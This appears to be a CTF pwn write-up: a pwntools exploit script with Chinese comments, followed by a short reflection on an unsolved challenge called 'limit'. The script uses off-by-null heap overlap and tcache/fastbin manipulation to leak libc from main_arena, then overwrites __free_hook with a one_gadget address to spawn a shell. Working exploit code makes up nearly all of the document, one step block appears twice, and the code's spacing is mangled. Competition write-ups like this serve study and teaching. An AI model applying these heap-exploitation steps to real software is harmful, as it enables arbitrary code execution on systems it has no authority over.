# step1.1: # 构造0x110(0x70+0x60+0x30)的unsortedbin # unlink时会将0x110后面堆修改为:prev_size=0x110;prev_inuse=0; for i inlist(range(7)): delete(i) delete(7)#0x68 for i inrange(7): add(i,0x58) for i inlist(range(7)): delete(i) delete(8)#0x58 for i inlist(range(7)): add(i,0x20) for i inlist(range(7)): delete(i) edit(9,"skye231."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠 delete(9)#0x20 p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
for i inlist(range(8)): delete(i) p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
for i inlist(range(7))[::-1]: add(i,0x78) add(7,0x78) show(7) p.recvuntil("Content: ") main_arean_208 = u64(p.recv(6).ljust(8,'\x00')) log.info("main_arean_208:"+hex(main_arean_208)) libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000) log.info("libc_base:"+hex(libc_base))
# off by null 构造重叠区域 # step1.1: # 构造0x110(0x70+0x60+0x30)的unsortedbin # unlink时会将0x110后面堆修改为:prev_size=0x110;prev_inuse=0; for i inlist(range(7)): delete(i) delete(7)#0x68 for i inrange(7): add(i,0x58) for i inlist(range(7)): delete(i) delete(8)#0x58 for i inlist(range(7)): add(i,0x20) for i inlist(range(7)): delete(i) edit(9,"skye231."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠 delete(9)#0x20 p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
#step1.2:off by null将0x110覆盖为0x100 add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100) edit(11,'a'*0x78)
#step1.3:0x110后面布置一个堆块,用于unlink造成堆重叠 for i inrange(6): add(i,0x58) add(12,0x58)#tail:unlink for i inrange(6):#清空堆指针列表,方便后续操作 delete(i)
#step1.4:将0x100切分分配出来0x78+0x58+0x10 for i inrange(6): add(i,0x78) add(8,0x78) for i inrange(6): delete(i) for i inrange(6): add(i,0x58) add(9,0x58) for i inrange(6): delete(i) add(10,0x10)
# step1.5: for i inrange(7): add(i,0x78) for i inrange(7): delete(i) delete(8)#fastbin for i inrange(7): add(i,0x58) for i inrange(7): delete(i) delete(9)#fastbin p.sendlineafter("choice: ",'1'*0x7000)
# step2 for i inrange(7): add(i,0x78) add(8,0x78) for i inrange(7): delete(i) for i inrange(7): add(i,0x58) add(9,0x58) for i inrange(7): delete(i) for i inrange(7): add(i,0x20) add(12,0x20)#hacker for i inrange(7): delete(i)
for i inrange(7): add(i,0x20) delete(10) edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n') add(14,0x20) add(15,0x20) edit(15,p64(libc_base+0x4f432)+'\n')
delete(0)
p.interactive()
limit
比赛的时候盯着 libc 文件不放,老是觉得是关键,都能 uaf 了,free_hook 也有了,找个能执行命令的函数就完事了,一直折腾没找到,最后想到攻击 fini 进行 rop 攻击的时候不够时间了,遗憾